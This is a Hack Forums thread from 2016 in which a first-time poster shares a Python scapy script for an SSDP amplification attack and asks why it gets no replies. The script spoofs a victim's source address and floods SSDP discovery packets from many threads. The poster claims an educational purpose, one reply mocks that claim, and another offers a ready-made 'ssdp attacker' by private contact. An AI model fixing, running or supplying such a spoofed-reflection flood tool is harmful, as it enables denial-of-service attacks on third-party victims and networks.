Hack Forums
[Python] SSDP amplification program - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] SSDP amplification program (/showthread.php?tid=5311401)



SSDP amplification program - kyisoethin - Jun 20, 2016

I want to learn how to program ssdp amplification attack
Just for education.
I send ssdp message to window 8 with my code.The code is as follow.But nothing reply.
Code
from scapy.all import *
from threading import *
import sys
import os
class ready(Thread):
    def __init__ (self,threadid,data):
        Thread.__init__(self)
        self.threadid=threadid
        self.data=data
    def run(self):
        while 1:
            send(IP(dst=sys.argv[2],src=sys.argv[3])/UDP(sport=1900,dport=1900)/Raw(load=self.data))    
        
if(__name__)=="__main__":
    sendthread=[]
    data="M-SEARCH * HTTP/1.1\r\n"+"ST:%(library)s:%(service)s\r\n"+"MX: 3\r\n"+"MAN: \"ssdp:discover\"\r\n"+"HOST:239.255.255.250:1900\r\n\r\n"
    for i in range(1,int(sys.argv[1])+1):
                  sendthread.append(ready(i,data))
                  sendthread[i-1].start()

Please help me


* - Jerry Smith - Jun 21, 2016

"just for education".

Also, why does this have to be your first post? And likely your last, seeing as how this was posted yesterday.


* - BlackAnonXX - Jun 21, 2016

(Jun 21, 2016 02:45 AM)Jerry Smith Wrote:  "just for education".

Also, why does this have to be your first post? And likely your last, seeing as how this was posted yesterday.

Because he is new at forum.

I have ssdp attacker but it's not python u must contact me.